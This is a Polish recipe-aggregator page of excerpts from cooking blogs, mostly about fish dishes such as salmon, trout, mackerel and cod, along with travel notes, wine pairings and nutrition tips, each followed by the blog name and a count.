wakacji, które to ludzkość jak opętana umieszcza wszędzie. Okazuje się, że nasz naród od lat hołduje temu samemu modelowi spędzania wakacji nad morzem. Smażenie na plaży i smażalnie ryb, wieczorem dancing. Czad! Będę wytapiać wałki, Najcierpliwszy będzie usuwał(...)piasek z Macbooka. Wcześniej wykopiemy sobie grajdoł i będziemy wypatrywać pana z drożdżówkami, żeby go zapytać, z czym te jagodzianki. Jest jeden mały problem – nienawidzimy leżeć na plaży, smażone ryby też nam nie leżą, bo starej frytury nie lubimy, gofry i lody z automatu oraz pamiątki oblepione muszelkami też nie wzbudzają naszych dzikich kwików radości. Skoro mieszkamy w Krakowie

ladykitchen
Małe co nieco o rosyjskiej kuchni 177

nadzieniem, u mnie z gotowanymi ziemniakami, podane z bardzo popularnym tu dodatkiem do różnego rodzaju potraw, czyli z kwaśną śmietaną. Kasza gryczana przyrządzana z pieczarkami, do tego kawałek smażonej ryby . Proste i smaczne! Zupa okroszka , czyli znowu chłodnik, tym razem z kwasem chlebowym zamiast kefiru, podana ze śmietaną. Jak dla mnie smakowała lepiej niż ta z kefirem, i muszę(...)suszone rybki i tanią wódkę. A teraz wybrane rzeczy ze sklepu: Batoniki twarogowe (syrki), pyszne, tanie, delikatne, bardzo szeroki wybór - jedna z rzeczy, za którymi tęsknię :) Cała gama suszonych ryb , jedzone jako przekąski do piwa. Kwas chlebowy , można kupić go niemal wszędzie. W sklepie zarówno i butelkach 2 l jak i mniejszych. A na koniec wracając do fast-foodów

psgotujemy
Warsztaty z North Fish i Folwark 137

połączenie, no bo krewetki i cynamon... ? Ale rezultat końcowy był wyśmienity, Łukasz brawo za odwagę ! W trakcie trwania warsztatów Łukasz dzielił się z nami swoją niemałą wiedzą na temat ryb, tym jak je obierać, patroszyć, a następnie najlepiej je przyrządzać.  Atmosfera była  bardzo rodzinna, nasze rozmowy, nie tylko z Łukaszem, ale także z Anią, przedstawicielką firmy Folwark(...)trwały jeszcze długo po zakończeniu warsztatów. Jeszcze w drzwiach wyjściowych podpytywaliśmy Łukasza o różne ciekawostki kulinarne związane z rybami i owocami morza.   Krewetki słodko-kwaśnie podane z  aromatyczną sałatką ze świeżych warzyw. Grillowany stek z tuńczyka z zielonymi szparagami z ziołowym masłem. Dziękuję obu firmom za  zaproszenie na warsztaty. Ogromny plus za ich organizację

Kulinarne przygody Gatity
Uczta morska na talerzu 135

czosnek biały pieprz gałka muszkatołowa imbir świeży tarty białe wino sos sojowy Marynata do ryb: pieprz  sól oliwa z oliwek papryczka chilli  rozmaryn kolendra ziarnka Zamarynuj rybę w marynacie, odstaw na bok. Ugotuj ziemniaki na pure. Rozgrzej piekarnik do 200 stopni. Warzywa pokrój w kostkę i szybko usmaż na patelni doprawiając białym pieprzem, gałką muszkatołową(...)sosem sojowym i świeżym imbirem. Wlej wino i odparuj. Rybę upiecz w piekarniku przez ok 10-15 minut Krewetki usmaż na maśle z dużym ząbkiem czosnku. Posól

AZgotuj!
Mediolan zjedzony i przepis na cannolo 179

pojęcia jak się owo warzywo nazywa.   Broccoli Targowisko ryb. A przy min smażalnia.  Tu kupiłam przepyszny szaszłyk z wielu gatunków ryb.  Pachniał rozmarynem i cytryną. Szczerze - mnie już nic do szczęścia  nie było potrzebne, aby cały wyjazd uznać za bardzo udany:)  Widzicie

AZgotuj!
Cztery dni w Wenecji mój punkt widzenia 216

minutowej przeprawy po kanałach 80 Euro do 18:00, potem 100 Euro. Na targu w Rialto można było zobaczyć stwory morskie. Te których nie znałam. Długie, płaskie srebrne ryby bez łusek. Szkoda, że nie mogłam ich spróbować Targ Rialto  Targ Rialto  Potem popłynęliśmy na wyspę Lido. Przewodniki opisują, że są tu najpiękniejsze plaże. Sprawdziliśmy. Osoba, która zachwalała(...)potłuczone muszle mogą się wbić w stopy. Dość szeroki pas muszlowego piasku do brzegu. Niemniej jednak to bardzo piękna wyspa ze specyficznym klimatem. Bardzo dobre restauracje, pyszne świeże ryby i ceny niższe niż w Wenecji. Po wyspie Lido można poruszać się wszystkim. Autobusem ( i tu pasują wszystkie bilety na komunikację miejską), Vespą (własną oczywiście;)), a rowerami za opłatą

AZgotuj!
Nuggetsy rybne w tajskim stylu 224

Nuggetsy rybne w tajskim stylu. Nie można przestac ich jeść.  500 gram ryby bez ości (  u mnie łosoś) 1 papryczka chilii 1 ząbek(...)czosnku 1 cm świeżo utartego imbiru 1 łyżka sosu rybnego 1 jajko łyżka płaska mąki ziemniaczanej pęczek kolendry dymka olej  kaszkę kukurydzianą lub mąkę ziemniaczaną do obtoczenia Mięso ryby zmiel pulsacyjnie w malakserze. Dodaj drobno posiekaną papryczkę chilli, zmiażdżony ząbek czosnku, imbir, posiekaną kolendrę ( zostaw trochę kolendry do dipu), dymkę, sos rybny, jajo i makę ziemniaczana. Wymieszaj masę

AZgotuj!
Zupa rybna 151

razu mąż przygotował ją na obiad, czekało na mnie bardzo miłe zaskoczenie. Zupa zupełnie inaczej smakowała. Nie pływały w niej żadne rybne pulpeciki, tylko prawdziwe duże kawałki różnych gatunków ryb. Smak i aromat był niezwykły. Jest to bardzo sycąca i smaczna zupa. Sądzę, że swój wyjątkowy smak,  zawdzięcza lekko pomidorowej "nucie".  Polecam ją bardzo gorąco wszystkim wybrednym(...)łyżeczki słodkiej papryki w proszku - 1 puszka pomidorów - 2 marchewki - pietruszka - seler - koncentrat pomidorowy - łyżeczka suszonej bazylii - bulion warzywny - oliwa - masło Sposób przygotowania: Do gotującej się wody dodajemy całe ryby. Tworzymy bulion. Kiedy jest on już gotowy, przecedzamy go przez sito. Do powstałego wywaru dodajemy pokrojone w kawałki warzywa. Zagotowujemy. Filet z dorsza oprószamy solą.  Na patelni szklimy

Pan i Pani Smith w kuchni
Flądra w idealnej panierce z boczku 150

Normal 0 false false false EN-GB X-NONE X-NONE MicrosoftInternetExplorer4 Kiedyś nie lubiłam ryb, teraz za nimi przepadam. Jeśli mam do wyboru mięso i rybę, zdecydowanie wolę rybę ;). Flądra w takiej panierce jest przepyszna, polecam :) /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

Corner With Recipes
Łosoś w marynacie musztardowo-koperkowej 121

Łosoś jest rybą wszechstronną dlatego można go przyrządzić w ciekawy i prosty sposób. Wystarczy zrobić marynatę, którą nacieramy rybę i gotowe. Możecie serwować rybę, która za każdym razem smakuje inaczej! Do przygotowania marynaty potrzebujemy

Szybko Tanio Smacznie
Tymbaliki z dorsza czyli rybka w galarecie 202

kurzego 2 łyżki żelatyny ewent. kubeczki jednorazowe Marchewki obieramy, zalewamy wodą i gotujemy 10 min. Dodajemy dorsza, ziele angielskie i liść laurowy. Gotujemy ok 15 min - nie mieszamy, aby ryba się nie rozpadła. Wyjmujemy rybę i marchewki z bulionu, studzimy. Groszek odsączamy na sicie. Wywar przecedzamy. Jeżeli wywar jest mętny należy go sklarować. W tym celu wywar zagotowujemy z dwoma(...)cytryny. Bulion powinien mieć wyrazisty, lekko ostry smak. Do kubków wlewamy po łyżce zimnego bulionu, zostawiamy w lodówce do zastygnięcia. Z marchwi wycinamy gwiazdki lub kroimy w plasterki. Rybę rozdrabniamy na mniejsze kawałki. Dorsza, marchew i groszek układamy w kubkach i zalewamy tężejąca galaretą do zakrycia zawartości ( ok 2/3 kubka ). Schładzamy w lodówce. Aby wyciągnąć galaretkę, kubek wkładamy

Atlas Smaków
Prosta sałatka z tuńczykiem. 339

przygotowywać sałatek składających się z kilkunastu składników, często tracimy wtedy smak poszczególnych produktów i otrzymujemy wielobarwną papkę, która smakuje wszystkim i niczym. Dzisiejsza sałatka to tylko słony smak ryby, słodki kukurydzy i lekko ostry szczypiorku. Tylko tyle, i aż tyle. Na prawdę warto. Przepis Składniki: 2 puszki tuńczyka w sosie własnym puszka kukurydzy mały pęczek szczypiorku 1-2 łyżki(...)kawałkach. W Polsce występuje też tuńczyk sałatkowy, który jest najmniejszymi ścinkami tuńczyka. My mieszkamy w Niemczech i tutaj dostępny jest tylko tuńczyk w kawałkach. Czuć w nim mięso ryby, a nie tylko słoną rybną papkę. Tuńczyka rozdrabniamy i mieszamy z kukurydzą, majonezem i posiekanym szczypiorkiem. Ilość majonezu jest bardzo mała, ponieważ ma on za cel tylko połączyć składniki. Doprawiamy

KasiaiKrzysiu.pl
Jak gotować lub smażyć ryby, aby nie straciły witaminy B1. 71

rzygotowywane przez nas ryby będą smaczniejsze i nie stracą witaminy B1, jeżeli będziemy ją gotować lub smażyć krótko, a raz przyrządzoną nie będziemy odgrzewać. Warto pamiętać o tym podczas przygotowywania potraw z rybami.                        Gorąco pozdrawiam

Przepisy i porady kulinarne
WODA Z CYTRYNĄ I MIĘTĄ 151

nieznacznie uspakajające i przeciwdziała senności. Mięta doskonale smakuje jako gorąca herbata (rozgrzewa) lub na zimno (jako orzeźwiający napój ugasi pragnienie). Doskonale pasuje do deserów, lodów, sorbetów, do sałatek, ryb, twarogu, czy do farszu mięsnego lub mięsa grillowanego. Mięta jest bardzo łatwa w uprawie i mało wymagająca. Potrzebuje dużo słońca i 1 - 2 razy dziennie podlewać. Nie ma różnicy miedzy(...)wybarwiona, dojrzała lekko pachnie na końcach. natomiast cytryny pofałdowane zawierają mniej soku i maja gruba skórę np. cytryny zakończone "pępkiem". Cytrynę można spożywać jako dodatek do deserów, sałatek, napojów, ryb. Ciekawostka - skropienie sokiem z cytryny jabłek zapobiega ich ciemnieniu. Sok z cytryny znalazł zastosowanie również w kosmetyce np. przyśpiesza leczenie opryszki wargowej

Ciastka - domowe słodkości
Pasta jajeczna z makrelą. 130

Ryby to bardzo ważny, zdrowy składnik diety- dorsz w chrupiącej panierce, pyszne śledziki czy ryby w zalewie-kto ich nie lubi. Dlatego polecam na śniadanko pyszną pastę na gorącego tosta czy bułeczkę z wędzoną makrelą. SKŁADNIKI: 1 wędzona makrela 4-5 ugotowanych jajek 3-4 ogórki kiszone 1 mała czerwona cebula zmiażdżony ząbek czosnku 2-3 łyżki majonezu

Kuchnia Beaty
Wegańskie ceviche z pieczarek 221

odróżując po Peru miałam okazję poznać wiele egzotycznych roślin jadalnych, ciekawe odmiany ogólnie znanych warzyw, oraz jeść znakomite potrawy, m.in. peruwiańskie ceviche de corvina przygotowywane z surowych ryb. Okazało się, że można przygotować także wersję wegańską(...)Oryginalny przepis pochodzi z bloga  Kuchnia Peruwiańska ,   gdzie gotują pasjonaci Ameryki Południowej i kuchni peruwiańskiej. Po małej modyfikacji dziś u nas na blogu. Podstawą dobrego ceviche z ryb lub owoców morza są świeże produkty, a ich zdobycie nie zawsze jest proste. Wersja wegańska przygotowana z pieczarek smakuje znakomicie i nie ma większych problemów z zakupem świeżych. Wegańskie

SzczyptaSmaQ
Łosoś z gotowanymi warzywami i pieczonymi ziemniakami 271

pieprzem oraz skrapiamy 3-4 łyżkami oliwy. Wkładamy do piekarnika rozgrzanego do 180 stopni i pieczemy do miękkości kilka razy odwracając. W międzyczasie przygotowujemy łososia i warzywa. Kawałki ryby posypujemy ok. 1 płaską łyżeczką soli oraz szczyptą pieprzu. Nawilżamy 1-2 łyżkami oliwy. Pozostawiamy na kilkanaście minut, aby mięso przeszło przyprawami – w razie potrzeby w lodówce. Marchewkę obieramy

Kulinarna Pokusa
Beszamelowe puree z bakłażana z Grecji 211

najlepszej oliwie z oliwek??? Puree ma konsystencję gęstego sosu i podaje się na nim wszystko co z morza czyli ośmiornice z grilla czy kalmary albo mątwę.Również białe ryby podawane są na tym pysznym bakłażanowym puree.Typowe greckie duszone dania z wołowiny lub z baraniny w sosie pomidorowym podaje się również na tym smakowitym sosie. Puree po wystygnięciu gęstnieje(...)kapać z łyżki. Na koniec dodać starty ser Parmezan.Zamieszać.Nie zagotowywać. Na samym końcu doprawić solą i pieprzem do smaku. Na takim beszamelowym puree z bakłażana podawać można ryby i owoce morza.Pyszny na ciepło i na zimno.Na zimno staje się bardziej gęsty oczywiście i jest tedy doskonałym dipem. W Grecji jest tamtejszą specjalnością i podaje się

Sztuka gotowania w/g Samiry
Przepis na… – Salmone al forno, pieczonego łososia 257

mało jemy ryb…, dlaczego? Nie umiemy ich przyrządzić? Nie lubimy grzebać się w ościach, czy może kojarzą nam się wyłącznie z rybnymi paluszkami w ociekającej tłuszczem panierce? Włochy to nie tylko spaghetti bolognese, lasagne czy pizza. Włochy to… Łosoś Pieczony ! 1/2 kg młodych drobnych ziemniaków 1/2 kg filetu z łososia ( ze skórką) pęczek natki i koperku(...)warzywa przekładamy do naczynia żaroodpornego, doprawiamy solą i pieprzem i posypujemy częścią ziół. Polewamy oliwą z oliwek uprzednio wymieszaną z czosnkiem. Pieczemy kilkanaście minut(w tym czasie przyrządzając łososia). Rybę kładziemy skórką do góry i robimy w niej kilka nacięć, gdzie następnie za pomocą łyżeczki wkładamy odrobinę masła wymieszanego z ziołami i czosnkiem. Rybę układamy na warzywach, posypujemy parmezanem

Bon Ton Italia
Soja po grecku 120

rozgrzanego oleju i smażyć cały czas mieszając około 3 minut po czym zalać szklanką wody i dusić do miękkości (około 15 minut pod przykryciem). W tym czasie przygotować „rybę” czyli zrobić mieszankę mleka z sosem sojowym, potrzymać około 10 minut w tej miksturze kotlety sojowe, po czym lekko odcisnąć obtoczyć w bułce tartej u usmażyć na złoto(...)warzywa są już dostatecznie miękkie doprawić do smaku przyprawami i koncentratem pomidorowym, w razie potrzeby dodać jeszcze wody. Do przygotowanego naczynia najpierw wyłożyć pierwszą warstwę warzyw. na warzywa „rybę” i tak kolejno aż warzywa będą ostatnią warstwą. Taak przygotowana potrawę przykryć folia spożywczą i włożyć do lodówki żeby się „przegryzło” najlepiej na całą noc. Podawać

greenscarf
Pstrąg pieczony w folii 145

oprószanie przyprawami soli można dać więcej aby dostała się do całego mięsa. Na koniec we wnętrze ryby wkładamy łyżkę masła rozprowadzamy go i na koniec dodajemy plasterek cytryny. Ryby zawijamy szczelnie w foli aluminiowej odstawiamy na 1h aby się ładnie zamarynowały i pieczemy w piekarniku około 40 min w temp 180 oC.   Na koniec pieczenia można odkryć

Sprawdzone przepisy kulinarne
Francuskie wina na twoim stole – kolejna francuska selekcja Lidla 105

Pachnie cytrusami, brzoskwinią i soczystszym jabłkiem. Usta lekkie, orzeźwiające z przyjemną kwasowością. Letnie wino w bardzo dobrej cenie. Przed podaniem schłodzić do 10 -12 stopni. Do lekkich dań z ryb, drobiu lub do picia solo. Bourgogne Hautes-Côtes de Nuits AOP Philippe de Bois d’Arnault(...)chardonnay pachnie beczką, dominują aromaty tostowe z lekką nutą słodkich owoców. Dość duża kwasowość. Pić mocno schłodzone 8 – 10- stopni. Do nieco cięższych dań z ryb i drobiu. Coteaux Bourguignons AOP Cyril et Virginie 2013 (19,99 zł). W nosie dojrzałe czerwone owoce, pieprz i zioła. W ustach delikatne taniny i dość ostra kwasowość. Lekkie. Pić lekko schłodzone

królestwo garów
Lawendowo- rozmarynowy pstrąg z jabłkowo- chrzanowym puree 175

Dziś bardzo lekkie i smaczne danie. Niby nic takiego, tylko ryba i puree... ale smak jest naprawdę nietuzinkowy. Delikatny pstrąg pieczony w całości z mnóstwem pyszności w "brzuszku" :) A do tego pure z jabłek i selera z nutą chrzanu. Pyszności! :) SKŁADNIKI rozmarynowo-lawendowy pstrąg 4 pstrągi 1 cytryna 4 ząbki czosnku 4 gałązki rozmarynu 1 łyżeczka suszonej lawendy spożywczej(...)jajko sól, pieprz SPOSÓB PRZYGOTOWANIA Pstrągi dokładnie umyć i osuszyć. Blaszkę wyłożyć papierem do pieczenia. Pstrągi natrzec solą z obu stron i ułożyć na papierze. Do brzuszka każdej ryby włożyć : gałązkę rozmarynu, rozgnieciony ząbek czosnku, dwie cząstki (ósemki) cytryny, szczyptę lawendy ( soli lawendowej), sól i biały pieprz do smaku oraz łyżeczkę masełka.   Selera pokroić w kostkę

DefinicjaSmaku
Pstrąg aromatyczny 147

Uwaga, poniższe zdjącia mogą być nieco makabryczne dla przeciętnego internauty, szczególnie jeśli jest wegeterianinem. :)  Nie mogłam się jednak oprzeć, żeby nie wsadzić tej rybie czegoś do paszczy. I wcale nie ze względów smakowych. Wiedziałam oczywiście, że to ryba mięsożerna i drapieżnik, ale kiedy z ciekawości otworzyłam jej pysk to wcześniej w życiu bym nie pomyślała, że taki mały pstrąg(...)takim wyrzutem!), w dodatku upieczone. Ale bardzo były smaczne. :P Pstrąg aromatyczny Składniki: 1 pstrąg do 500g sok z limonki 2 łyżki masła sól, pieprz 3 łyżki chutneya kolendrowego Rybę dokładnie myjemy, osuszamy, nacinamy skórę w kilku miejscach, ale ostrożnie, żeby nie uszkodzić włókien mięsa. Skrapiamy w środku i z wierzchu sokiem z limonki i nacieramy chutneyem kolendrowym , również

Kuchnia Prezydentowej
Tosty z wędzoną rybą na pierzynce z dyni 183

drobnego lodu pokrywała prawie pół podłogi. Zima idzie... :) Skłdniki: 5-6 kromek pełnoziarnistego chleba tostowego masło do posmarowania chleba i 1 łyżka do podsmażenia warzyw wędzonej sielawy lub innej ryby (ale sielawa ma mięso wyjątkowo smaczne i zwarte) 1 mozzarella 125 g 120g dyni (ja miałam dynię piżmową - butternut) 2 duże łyżki serka wiejskiego, dokładnie odsączonego na ręczniku kuchennym(...)szalotka  50 ml wytrawnego białego wina 1/2 papryczki chili 1/2 łyżeczki pieprzu ziołowego 1/4 łyżeczki pieprzu czarnego sól do smaku pieprz czarny i oregano do posypania tostów 1. Rybę dokładnie oczyścić z ości, podzielić na małe kawałki, ale nie rozdrabniać. Dynię zetrzeć na tarce jarzynowej. Piekarnik nagrzać do 200°C. 2. Tosty rozłożyć na dużej blasze, posmarować cieniutko masłem

Kuchnia Prezydentowej
SAŁATKA Z TUŃCZYKIEM 170

. Hmm... być może dlatego, że za dwa tygodnie (z małym haczkiem), wybieram się nad nasz cudowny Bałtyk. Już nie mogę się doczekać: błogiego lenistwa, cudownego klimatu i bogactwa ryb jaki tam znajdę. A póki co, zapraszam na smaczną sałatkę z tuńczykiem. SKŁADNIKI: kilka liści sałaty lollo bianco (lub innej "twardej" sałaty) 1 pomidor czerwony 1 pomidor żółty

Kuchnia w opałach
Flavours of Portugal - kolacja, Tejo oraz wielkie białe wina Portugalii 145

skórki pomarańczowej, orzechów i liczi. Eleganckie dobrze zbalansowane w ustach z długim ziołowym finiszem i delikatną nutą maślaną. Doskonałe jako aperitif, również do homara oraz potraw z owocami morza, rybami, drobiem. Idealne do dań kuchni azjatyckiej ze szczególnym uwzględnieniem Pad Thai. Muros de melgaco Alvarinho 2007 - 100 % Alvarinho. Wino to wraz z Ewą Rybak prezentował jego producent Anselmo Mendes(...)miało kontaktu z beczkami dębowymi. Po niemal 10 latach w butelce prezentuje miodowo- owocowe aromaty, nie traci struktury, posiada dobrą kwasowość. Pokazuje ogromny potencjał verdelho. Świetne do serów i ryb w bardziej treściwym wydaniu. Esporao Private Selection 2007 – w bukiecie intensywne aromaty dojrzałych brzoskwiń i gruszek z dymną pikantną nutą dębu francuskiego. W ustach pełne, skoncentrowane z nutami soczystych

królestwo garów
Siemię lniane 86

omega3 jest podobna do zawartości tych kwasów w mięsie ryb. Warto więc włączyć je do naszej diety, zwłaszcza gdy my lub któreś z naszych dzieci nie może jeść ryb z uwagi na dużą zawartość histaminy wywołującej reakcję alergiczną. Dostarczymy w ten sposób organizmowi nie tylko cennych substancji odżywczych ale też obniżymy poziom cholesterolu we krwi, poprawimy wygląd naszej

Wiem co jem
Tołpyga pieczona na fasolce szparagowej 178

młodej cukinii (10 dag) 1/3 dużej czerwonej papryki (10 dag) 1 pomidor olej do skropienia warzyw sok z cytryny sól pieprz bazylia oregano masło do posmarowania formy Wykonanie:  Rybę opłukałam, osuszyłam papierowym ręcznikiem, pokroiłam na 4 dzwonka. Każdy kawałek skropiłam sokiem z cytryny, oprószyłam solą i pieprzem. Fasolkę obgotowałam przez kilka minut na pół twardo w lekko osolonym wrzątku(...)termo obiegiem. Naczynie żaroodporne wysmarowałam masłem, wyłożyłam do niego fasolkę szparagową, cukinię i paprykę. Skropiłam olejem, oprószyłam solą, posypałam bazylią i oregano. Na warzywach ułożyłam dzwonka ryby. Na każdym kawałku położyłam po dwa plasterki pomidora, oprószyłam bazylią i oregano. Przykryłam kawałkiem folii aluminiowej (matowa strona na zewnątrz) i wstawiłam do nagrzanego piekarnika. Po 30 minutach zdjęłam folię, włączyłam funkcję

Kuchenne zapiski Edyty
.747. dynia i masło orzechowe 145

wyrobów też nie, żeby jeść kanapki z wędliną przekonałam się jakoś w II klasie podstawówki. Potem doszły "problemy" z jedzeniem przez które "pozwalałam sobie" tylko na drób i chude ryby (aczkolwiek to drugie rzadko, bo za rybami też nie przepadałam). Zaczęłam interesować się takimi pojęciami jak wegetarianizm. Zawsze kochałam zwierzęta. Pomyślałam, że skoro i tak jem mało mięsa

breakfast of dreams
Pasta z wędzonej makreli 336

Taka pasta z makreli jest idealna na kanapki. Ja w ogóle uwielbiam ryby, w każdej postaci. Madzia, wiedząc o tym, kupiła mi kilka wędzonych makreli. Sama niespecjalnie lubi ryby. Ale jednak przeceniła moje możliwości. Jadłem je i jadłem i zjeść nie mogłem. W końcu dwie zostawiłem i tak leżały przez kilka dni. I już nie miałem ani siły

Marder&Marder Manufacture
Morszczuk w cieście piwnym 111

Ryba -lekka i zdrowa,doskonale smakuje przez cały rok, ta o piwnym aromacie zachwyci każdego dorosłego a podana z ziemniakami i surówką z kapusty kiszonej stworzy dobry obiad. Morszczuka można zastąpić oczywiście innym ulubionym filetem. Składniki 500 g fileta z morszczuka sól do smaku pieprz cytrynowy do smaku Ciasto: 10 dag mąki pszennej 1 łyżeczka mąki ziemniaczanej 1/2 szklanki jasnego(...)piwa 1 jajko 1 łyżka ziaren sezamu olej do smażenia Sposób przygotowania Rybę rozmrozić usunąć nadmiar wody ręcznikiem papierowym,pokroić na mniejsze kawałki,posolić i oprószyć pieprzem cytrynowym do smaku,zostawić na 10 minut w lodówce Ciasto: Jajko roztrzepać mikserem wsypać mąkę pszenną i ziemniaczaną wlać delikatnie piwo zmiksować,doprawić do smaku solą,wsypać ziarno sezamu ponownie zmiksować. Rybę zanurzać

Wanilia i Kardamon
Potreningowy milkshake bananowy 180

małe kawałki, wrzucamy wszystko do wysokiego naczynia i miksujemy. Dlatego po zakończeniu ćwiczeń sięgnij po wysokiej jakości białko w postaci chudych produktów mlecznych (twaróg, jogurt, mleko, chude mięso i ryby, jaja, soja, warzywa strączkowe(...)ilości do 10 do 20 g. http://wformie24.poradnikzdrowie.pl/odzywianie/co-jesc-przed-i-po-treningu-co-jesc-by-trening-byl-efektywny_41742.html Dlatego po zakończeniu ćwiczeń sięgnij po wysokiej jakości białko w postaci chudych produktów mlecznych (twaróg, jogurt, mleko, chude mięso i ryby, jaja, soja, warzywa strączkowe), w ilości do 10 do 20 g http://wformie24.poradnikzdrowie.pl/odzywianie/co-jesc-przed-i-po-treningu-co-jesc-by-trening-byl-efektywny_41742.html

W kuchni bez szafek
Łosoś z ziemniakami hasselback i duszonym jarmużem 185

łatwo, warto spróbować. Są chrupiące z zewnątrz – dzięki grzebieniowi, jaki powstaje podczas ich nacinania. Robiła je kiedyś moja mama – teraz chętnie do nich powracam. Doskonałe do grillowanej ryby, ale też świetne do dań mięsnych. Nie można zapomnieć także o jarmużu – ta coraz popularniejsza kapusta o orzechowym posmaku jest wyjątkowo zdrowa i na dodatek bardzo smaczna(...)stron solą oraz pieprzem. Zostawiamy na 10-15 minut. Na patelni grillowej (może być też zwykła) rozsmarowujemy obrobinę oleju lub oliwy za pomocą pędzelka. Silnie rozgrzewamy palnik. Smażymy rybę ok. 3 minuty z każdej strony. Post Łosoś z ziemniakami hasselback i duszonym jarmużem pochodzi z bloga Poezja smaku

Poezja smaku
Zioła w kuchni - ROZMARYN 172

przyprawiania dań z mięsa, zapiekanek, warzyw, makaronu, smażonych ryb, owoców morza, a także bulionów i marynat. Rozmaryn idealnie dopełnia również walory smakowe potraw z baraniny, dziczyzny, drobiu i ryb. Jest nieodzowny w potrawach z pieczonymi lub smażonymi ziemniakami i grzybami. Ponadto doskonale komponuje się z czosnkiem oraz takimi przyprawami jak majeranek i cząber. Aromatyczne właściwości rozmarynu powodują

Garniec Magalie
Sałatka z wędzonej makreli i papryki 162

Największą wartością makreli jest selen. Pierwiastek ten ma ogromny wpływ na naszą odporność, ale to tylko jeden z bardzo wielu walorów zdrowotnych tej ryby. Sałatka z wędzonej makreli i papryki dostarczy nam witamin i mikroelementów niezbędnych do prawidłowego funkcjonowania organizmu… i nie tylko.     Składniki: - ok. 500g wędzonej makreli - 1 papryka czerwona -1 papryka żółta - pęczek dymki (szczypior(...)miski na kawałki (spore). Umyte papryki pozbawiamy gniazd nasiennych, kroimy w cienkie paski, następnie w drobną kostkę – dodajemy do makreli. Kroimy szczypior oraz cebulki – również dodajemy do miski z rybą. Doprawiamy świeżo zmielonym czarnym pieprzem oraz skrapiamy oliwą cytrynową . Mieszamy delikatnie, aby nie zburzyć struktury makreli – ma pozostać w kawałkach. Sałatka z wędzonej makreli i papryki jest propozycją na szybką

mojewypiekiinietylko
Isle of Wight 217

tego, co w zależności od sezonu, kupowane jest u lokalnych dostawców/rolników. Mimo, że zwykle nie kupuję typowego angielskiego dania, jakim jest ryba smażona z frytkami, bo nie mam za grosz zaufania do świeżości ryby, tutaj jednak się odważyłam. Ryba była wspaniała. Mogłaby być jedynie świeższa jakbym ją sama wyciągnęła z wody (Zdjęcie zrobione telefonem…)   Niestety

UgotujmyTo.pl
Domowe paluszki rybne czyli Srodowe Rybki odc.57 211

miseczkach umieszczamy mąkę, jajka i zmiażdżone lub zblendowane płatki kukurydziane. Płatki mieszamy z koperkiem, solą i pieprzem. Rybę kroimy w grube paski i osuszamy papierowym ręcznikiem. Każdy kawałek obtaczamy najpierw w mące, potem zanurzamy w jaju a na końcu obtaczamy płatkami. Kawałki ryby układamy na blasze. Całość pieczemy ok 12 minut by stały się chrupiące ale ryba nie przesuszyła

Dzieje kuchennej Wiewióry
Paszteciki rybne- ekspresowo 117

Dlatego warto czasem skorzystać z udogodnień współczesności- gotowych potraw :) Przyznaje się szczerze, że często korzystam z gotowych ciast francuskich. Składniki: gotowe ciasto francuskie (zawinięte w rolkę) karp lub inna ryba cebula cytryna Przygotowanie: Rybę oczyścić, pokroić w dzwonki, posolić- zostawić na godzinę. W naczyniu posmarowanym masłem ułożyć rybę, dodać pokrojoną cytrynę, posypać siekaną cebulką. Całość podlać kilkoma łyżkami bulionu. Piec(...)piekarniku (180 stC) 45 minut. Ciasto francuskie pokroić w kwadraty i nadziać wystudzoną rybą, wcześniej upieczoną w piekarniku

Tradycyjna Kuchnia
Makaron proteinowy z tuńczykiem i zieloną fasolą + recenzja 191

też w morzach zamkniętych. W tychże azorskich wodach łowione są miedzy innymi tuńczyki i sardynki. Przerabiane są… one na miejscu. Tuńczyk AS do MAR w słoikach pochodzi z ryb wyłącznie świeżych, konfekcjonowanych zaraz po złowieniu. Duże kawałki najlepszych części świeżych tuńczyków pakowane są w oliwie z oliwek lub w zalewie. Moja opinia: Główną zaletą tuńczyka tej firmy jest(...)pakowany jest w formie większych filetów co różni go od wielu sklepowych wersji gdzie mamy tuńczyka rozdrobnionego, albo w mniejszych kawałkach. W smaku przypadnie każdemu kto jest fanem ryb tak jak ja ;) Ważną kwestią jest również to, że w składzie mamy jedynie tuńczyka, wodę i sól beż żadnych dodatkowych ulepszaczy Samo opakowanie przyciągnęło moją uwagę odbiegając od standardowych metalowych

Zdrowo i dietetycznie. Moja rzeczywistość
Gravlax 248

warstwą soli i cukru, kminem i posiekanym koperkiem. Polać oba kawałki ryby wódką. Ułożyć jeden na drugim, skórą do zewnątrz. Włożyć do miski i owinąć folią spożywczą. Na rybie postawić talerzyk i obciążyć go jakimiś cięższymi słoikami. Chodzi o to, aby ścisnąć łososia, który pod wpływem soli odda wodę. Wstawić do lodówki na 2 doby. Po pierwszej z nich(...)odwinąć rybę, wylać nadmiar płynu i ułożyć ponownie w misce, tym razem kawałkiem, który wcześniej był na dole do góry. Przed podaniem pokroić łososia w cienkie plastry

W kuchni wieczorem
Szczupak po prowansalsku 161

Szlachetna ryba przyrządzona w niezwykle prosty sposób. Połączenie delikatnego i chudego mięsa szczupaka z masłem, czosnkiem i odrobiną octu daje jednak bardzo smaczny efekt końcowy. Idealnie łączy się z pieczonymi ziemniaki z cytryną i rozmarynem . Szczupak po prowansalsku 2014-12-30 14:01:32 Zapisz przepis Drukuj Składniki (dla 2 osób) cały szczupak o wadze 1kg – wypatroszony i bez łusek(...)czarnego pieprzu świeżo mielonego płaska łyżeczka tymianku (suszonego) Do podania pieczone ziemniaki w wersji z cytryną i rozmarynem (ale niekoniecznie z czosnkiem) wg naszego przepisu, które przygotowujemy równolegle z rybą białe wytrawne wino Instrukcje Szczupaka dokładnie płuczemy w zimnej wodzie, następnie osuszamy papierowym ręcznikiem. Starannie nacieramy solą, pieprzem i tymiankiem – zarówno na zewnątrz jak i w środku. Główkę czosnku dzielimy

Kulinarna Pokusa
Pieczone ziemniaki 224

wielu dań. Pieczone ziemniaki 2015-01-22 09:58:45 Pieczone ziemniaki w różnych wersjach z ziołami, cytryną lub czosnkiem to doskonały dodatek do wielu dań mięsnych, w tym ryb(...)drobiu i wieprzowiny. Zapisz przepis Drukuj Składniki wspólne i zarazem wersja podstawowa (dla 2 osób) 600g niezbyt dużych ziemniaków sól (w ilości wg upodobania) Wersja rozmarynowo-cytrynowa, np. do ryb i lekkiego białego drobiu 1 łyżeczka rozmarynu 2-3 łyżki soku z cytryny 5 łyżek oliwy 4 ząbki czosnku Wersja z majerankiem, np. do wieprzowiny, dziczyzny, kaczki lub gęsi

Kulinarna Pokusa
